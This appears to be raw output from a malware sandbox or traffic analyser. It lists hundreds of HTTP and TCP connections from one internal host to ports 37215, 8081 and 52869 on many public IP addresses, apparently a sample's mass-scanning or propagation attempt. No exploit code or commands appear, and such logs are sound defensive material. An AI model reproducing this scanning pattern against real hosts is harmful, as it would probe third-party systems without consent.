Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54066 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45830 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45436 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39328 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59042 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37260 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43730 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50630 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41860 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50872 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58180 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51104 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60976 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36500 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56232 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49596 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56604 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59554 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45802 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46996 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55440 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38244 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51078 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38312 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32928 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38324 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44652 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34000 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59360 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42542 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60766 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56520 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37476 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41792 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53988 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47358 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34978 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56352 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45160 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40550 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47142 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35412 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42246 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35458 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36734 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46848 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42506 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53808 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57474 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60292 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34792 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56196 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55534 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41572 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57894 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38178 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55130 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36256 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34400 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44018 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53054 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51228 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41322 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34154 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52968 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58148 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 40866 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33412 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 47720 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38950 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46242 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32980 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36456 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33294 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35762 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59624 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57712 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49116 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34154 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57892 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43010 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54166 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36874 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42446 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57810 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58190 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52968 -> 8081

Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.35.143.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.191.46.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.126.19.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.159.246.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 208.40.190.49:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 83.219.235.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.120.43.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.85.0.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.52.127.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.224.167.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.210.213.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.137.103.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 87.223.147.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.74.153.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.229.81.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.45.109.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.91.179.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.74.172.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 165.176.141.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.114.141.7:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.131.248.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.83.60.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.40.125.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.111.22.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 37.73.78.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.86.21.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.15.100.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 131.228.228.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.186.187.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.45.46.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.125.22.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.51.222.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 77.130.62.157:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 87.49.184.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.17.89.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.238.247.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 45.30.227.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 150.5.61.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.255.79.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 153.193.210.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.123.150.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 187.121.7.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.193.165.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.41.223.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.163.162.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.118.230.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.84.231.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.168.107.181:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.228.220.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 186.126.223.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 32.67.227.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 114.204.237.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.179.56.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.167.197.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.181.143.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 76.18.81.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 171.222.157.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.120.135.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.105.57.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.30.62.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.135.7.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.191.103.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.170.239.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.18.229.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.218.226.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 71.49.202.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.39.10.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.100.91.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.15.38.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 170.219.164.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.6.141.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.147.167.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.115.45.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 65.119.48.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.202.10.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.126.31.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.252.135.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.64.18.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.220.203.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.107.191.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 116.208.226.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.80.213.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.76.0.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 38.168.157.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 146.222.102.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.172.132.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.227.179.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.168.139.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 135.98.243.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.106.42.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.179.79.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 65.174.41.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.184.137.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.47.211.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.57.194.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.210.39.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.126.225.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.219.203.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.90.44.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.252.13.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.5.193.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.134.206.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.17.22.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 110.154.150.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 201.209.47.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.45.179.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.90.19.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 129.116.240.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 13.183.93.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.180.12.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 104.35.91.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 9.182.75.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.16.89.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.94.183.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.186.253.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.129.53.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.42.27.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.51.255.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.71.57.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 209.182.37.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.151.99.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.229.139.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.232.164.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 212.105.134.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 174.46.155.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.92.106.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.52.85.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.49.150.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.172.113.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 174.172.79.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.170.198.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.84.205.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.53.54.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.218.13.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.115.82.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.110.16.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.7.223.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.5.3.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.191.67.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 169.115.251.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.255.29.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.74.180.192:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.246.138.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 9.78.247.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 114.206.232.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.23.232.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.193.18.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.183.213.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.108.240.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 74.209.208.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.233.17.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.54.130.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 112.56.203.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.142.84.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 109.240.28.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 54.141.203.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.169.167.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 96.186.231.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 37.170.254.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.4.116.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 32.250.171.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.170.48.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 42.99.131.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.230.221.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 72.166.67.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 38.95.109.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.64.181.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.55.92.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 92.115.232.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.2.153.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.78.252.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.86.191.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.198.71.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 153.151.221.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.170.35.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.32.36.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.46.244.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.158.70.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 111.130.110.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.157.102.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.27.184.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.140.198.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.142.212.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 36.133.99.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.103.167.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.195.164.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.33.121.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.168.136.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.71.150.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 191.149.140.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.216.215.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 31.105.156.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.222.124.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 204.250.93.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 71.56.238.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.200.99.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.239.227.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.187.80.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.197.49.199:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.255.196.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.226.157.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.19.213.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.175.52.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.44.218.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.110.229.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.103.6.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.65.177.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.139.56.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.170.228.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.179.21.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.163.23.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 171.133.88.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 197.198.8.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 193.224.23.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.174.101.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.174.6.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 129.139.212.11:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.210.71.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 41.35.236.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:44719 -> 157.179.96.97:37215
